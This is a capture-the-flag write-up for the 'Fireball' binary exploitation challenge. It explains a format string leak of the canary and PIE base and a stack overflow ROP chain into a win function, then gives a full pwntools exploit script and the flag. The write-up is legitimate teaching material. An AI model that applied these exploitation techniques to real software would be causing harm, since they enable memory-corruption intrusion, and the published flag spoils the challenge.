Challenge Name: Fireball
Category: PWN
CTF: CyberSummit V4.0 CTF
Description: Enough JJK, all i wanna talk about right now is that giant fireball
Connection: nc 172.205.208.94 9002
Challenge Overview#
This challenge is a two-stage binary exploitation task. The binary first asks for an identity string, then asks for a phrase. It combines:
- A format string vulnerability for leaking runtime values.
- A stack overflow protected by a canary.
- PIE, NX, and Partial RELRO.
The final objective is to redirect execution into a hidden function win(a, b, c) with strict argument checks:
a = 0x1206b = 0x1161c = 0xcafebab
If those values are correct, the binary prints the flag via:
system("/bin/cat /app/flag.txt");
Initial Analysis#
Binary Information#
$ file fireball
fireball: ELF 64-bit LSB pie executable, x86-64, dynamically linked, not stripped
$ checksec fireball
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Program Behavior#
Program flow (simplified):
[LOG] Identity verification required:
-> reads ident with fgets
-> prints ident using printf(ident) <-- format string
[GATE] Provide phrase:
-> read(0, phrase, 0x100) <-- overflow
Even though phrase is a small stack buffer, read accepts up to 0x100 bytes.
Vulnerability Discovery#
1) Format String Leak#
In auth_flow, user input is printed unsafely:
printf("[LOG] Identity confirmed: ");
printf(ident);
Using controlled %p positions gives reliable leaks:
%21$p-> stack canary%29$p-> return-site related PIE leak
Then:
pie_base = leaked_addr - elf.symbols["main"]
This defeats PIE at runtime and makes gadget/function addresses computable.
2) Stack Overflow in Phrase Input#
The code does:
char phrase[0x30];
read(0, phrase, 0x100);
Actual stack layout from exploitation:
phraseatrbp-0x80- canary at
rbp-0x8
So offset to canary is:
0x78bytes
That lets us overwrite:
- stack canary (must restore leaked value)
- saved
rbp - return address and full ROP chain
3) Hidden Win Function with Argument Checks#
win validates all three arguments before printing the flag. If any argument is wrong, it exits.
Therefore, we need controlled register setup for:
rdi = 0x1206rsi = 0x1161rdx = 0xcafebab
Exploitation Strategy#
Overview#
Attack chain:
- Leak canary + PIE using format string.
- Compute absolute addresses for gadgets and
win. - Build overflow payload preserving canary.
- Use ROP gadgets to set
rdi/rsi/rdx. - Return to
win.
Useful Gadgets (PIE-relative symbols)#
The binary intentionally exposes helper gadgets:
gadget_pop_rdigadget_pop_rsigadget_pop_rdx
And one alignment ret gadget from ROP search.
Payload Layout#
[0x78 bytes padding]
[leaked canary]
[8 bytes saved rbp filler]
[ret]
[pop rdi ; 0x1206]
[pop rsi ; 0x1161]
[pop rdx ; 0xcafebab]
[win]
Complete Exploit Code#
#!/usr/bin/env python3
from pwn import *
HOST = args.HOST or "127.0.0.1"
PORT = int(args.PORT or 1337)
BIN = "../hosted/fireball"
context.binary = elf = ELF(BIN)
context.arch = "amd64"
rop = ROP(elf)
def start():
if args.REMOTE:
return remote(HOST, PORT)
return process("./fireball", cwd="../hosted")
def main():
io = start()
io.recvuntil(b"[LOG] Identity verification required: ")
io.sendline(b"%21$p.%29$p")
io.recvuntil(b"[LOG] Identity confirmed: ")
line = io.recvline().strip()
canary, main_leak = [int(x, 16) for x in line.split(b".")]
pie_base = main_leak - elf.symbols["main"]
pop_rdi = pie_base + elf.symbols["gadget_pop_rdi"]
pop_rsi = pie_base + elf.symbols["gadget_pop_rsi"]
pop_rdx = pie_base + elf.symbols["gadget_pop_rdx"]
ret = pie_base + rop.find_gadget(["ret"]).address
win = pie_base + elf.symbols["win"]
log.info(f"canary = {hex(canary)}")
log.info(f"pie_base = {hex(pie_base)}")
log.info(f"win = {hex(win)}")
io.recvuntil(b"[GATE] Provide phrase: ")
payload = b"A" * 0x78
payload += p64(canary)
payload += b"B" * 8
payload += p64(ret)
payload += p64(pop_rdi) + p64(0x1206)
payload += p64(pop_rsi) + p64(0x1161)
payload += p64(pop_rdx) + p64(0xcafebab)
payload += p64(win)
io.send(payload)
io.interactive()
if __name__ == "__main__":
main()
Result#
Example remote run:
$ python3 solve.py REMOTE HOST=172.205.208.94 PORT=9002
[*] Opening connection to 172.205.208.94 on port 9002: Done
[*] canary = 0x...
[*] pie_base = 0x...
[*] win = 0x...
[*] Switching to interactive mode
[SYSTEM] VIP token accepted.
[SYSTEM] Exfiltrating flag...
CyberTrace{I_Gu3ss_SuKun4_W4sn7_7h4t_B4D}
Final Flag#
CyberTrace{I_Gu3ss_SuKun4_W4sn7_7h4t_B4D}
Key Takeaways#
- Format strings are powerful enough to leak both canary and PIE in one shot.
- Stack canary does not stop overflow exploitation if the canary is leaked first.
- PIE only delays exploitation until a reliable leak is obtained.
- A small, deterministic ROP chain is enough when useful gadgets are present in the binary.





